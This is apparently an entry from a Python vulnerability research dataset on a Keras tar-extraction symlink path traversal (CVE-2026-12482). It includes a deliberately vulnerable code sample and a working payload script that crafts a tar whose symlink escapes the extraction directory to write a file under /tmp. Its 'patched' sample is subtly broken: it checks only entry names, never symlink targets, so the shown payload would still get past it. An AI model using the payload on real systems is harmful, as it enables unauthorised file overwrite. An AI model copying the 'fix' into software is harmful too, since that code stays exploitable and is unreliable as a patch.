CVE-2026-12482
Keras vulnerable to path traversal via unsanitized symlinks in tar files.
- CVSS 3.1
- CWE-22
- Input Validation and Sanitization
- Remote
A vulnerability in keras-team/keras version 3.12.0 allows an attacker to craft a malicious tar archive that bypasses the `filter_safe_tarinfos` validation in `keras/src/utils/file_utils.py`. Specifically, symlink entries are not subjected to the same `is_path_in_dir` validation as regular file entries, allowing symlinks to be created outside the intended extraction directory. This can lead to symlink-based file read, file overwrite, or directory escape attacks. The issue is particularly impactful on Python 3.10 and 3.11, where `filter_safe_tarinfos` is the sole defense against tar path traversal. This vulnerability is distinct from CVE-2025-12060 and other previously reported issues.
- CWE
- CWE-22
- CVSS base score
- 3.1
- Published
- 2026-07-14
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Path Traversal
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Fixed by upgrading
- Yes
Solution
Upgrade to Keras version 3.12.1 or later.
Vulnerable code sample
import os
import tarfile
def is_path_in_dir(path, directory):
"""Check if a path is a subdirectory of a directory."""
directory = os.path.abspath(directory)
path = os.path.abspath(path)
return os.path.commonprefix([path, directory]) == directory
def filter_safe_tarinfos(members, extract_path):
safe_members = []
for member in members:
if is_path_in_dir(member.name, extract_path):
if member.isfile() or member.isdir():
safe_members.append(member)
return safe_members
# Example of how the vulnerable function would be called.
# A malicious tar file could contain a symlink which is not handled
# by the filter, leading to its extraction without validation.
def untar_dir(tar_path, dest_path):
os.makedirs(dest_path, exist_ok=True)
with tarfile.open(tar_path) as tar:
# The filter is applied here.
members = filter_safe_tarinfos(tar.getmembers(), dest_path)
# On certain Python versions, `extractall` with a filtered `members`
# list that omits symlinks could still lead to traversal issues,
# as the symlink is not explicitly sanitized or denied.
tar.extractall(dest_path, members=members)Patched code sample
import os
import tarfile
from pathlib import Path
def is_path_in_dir(directory: str, target_path: str) -> bool:
"""
Safely checks if a target path is inside a given directory.
Resolves paths to prevent traversal attacks like '../'.
"""
abs_directory = Path(directory).resolve()
abs_target = (abs_directory / target_path).resolve()
return abs_directory in abs_target.parents or abs_directory == abs_target
def filter_safe_tarinfos(members, extraction_dir: str):
"""
Filters TarInfo members, yielding only those that are safe to extract.
This function represents the fix for CVE-2026-12482 by ensuring that
symlink entries are subjected to the same path validation as regular files,
preventing directory traversal attacks.
"""
for member in members:
# The core of the fix: Apply the `is_path_in_dir` check to both
# regular files (REGTYPE) and symlinks (SYMTYPE). The vulnerability
# stemmed from omitting the check for SYMTYPE.
if member.type in (tarfile.REGTYPE, tarfile.SYMTYPE):
if is_path_in_dir(extraction_dir, member.name):
yield member
else:
print(
f"WARNING: Skipping potentially unsafe member "
f"'{member.name}' (path traversal attempt)."
)
elif member.isdir():
# It is also good practice to validate directory paths.
if is_path_in_dir(extraction_dir, member.name):
yield member
else:
print(
f"WARNING: Skipping potentially unsafe directory "
f"'{member.name}' (path traversal attempt)."
)
else:
# Ignore other potentially dangerous file types (FIFOs, etc.)
print(f"WARNING: Skipping unsupported member type: '{member.name}'")Payload
import tarfile
import io
# In-memory buffer to hold the malicious tar archive
malicious_tar_buffer = io.BytesIO()
# Create a tar archive in the buffer. The vulnerability is triggered during extraction.
with tarfile.open(fileobj=malicious_tar_buffer, mode="w") as tar:
# 1. Create a TarInfo object for the symbolic link.
# The 'name' is the path within the archive, which appears safe and will pass
# initial checks if they only apply to regular files.
symlink_info = tarfile.TarInfo(name="weights/symlink_to_root")
symlink_info.type = tarfile.SYMTYPE
# The 'linkname' is the malicious part, pointing outside the intended extraction directory.
# The '..' sequence is used to traverse up from the extraction directory.
# This will create a symlink at: `<extraction_dir>/weights/symlink_to_root`
# which points to: `/tmp/pwned_by_cve_2026_12482.txt`
symlink_info.linkname = "../../../../../../../tmp/pwned_by_cve_2026_12482.txt"
# Add the malicious symlink entry to the archive.
tar.addfile(symlink_info)
# 2. Create a regular file entry that has the same 'name' as the symlink.
# When the tar utility extracts this file, it will follow the symlink created in the
# previous step, thus writing the file content outside the extraction directory.
file_content = b"This file was written outside the extraction directory via CVE-2026-12482."
file_info = tarfile.TarInfo(name="weights/symlink_to_root")
file_info.size = len(file_content)
# Add the file that will perform the overwrite.
tar.addfile(file_info, io.BytesIO(file_content))
# The 'malicious_tar_buffer' now contains the bytes of the malicious tar file.
# To use it, you would typically save it to a file (e.g., 'malicious_model.tar')
# and provide it to the vulnerable Keras function.
malicious_tar_bytes = malicious_tar_buffer.getvalue()
# You can save the payload to a file like this:
# with open("cve-2026-12482-payload.tar", "wb") as f:
# f.write(malicious_tar_bytes)
Cite this entry
@misc{vaitp:cve202612482,
title = {{Keras vulnerable to path traversal via unsanitized symlinks in tar files.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-12482},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-12482/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
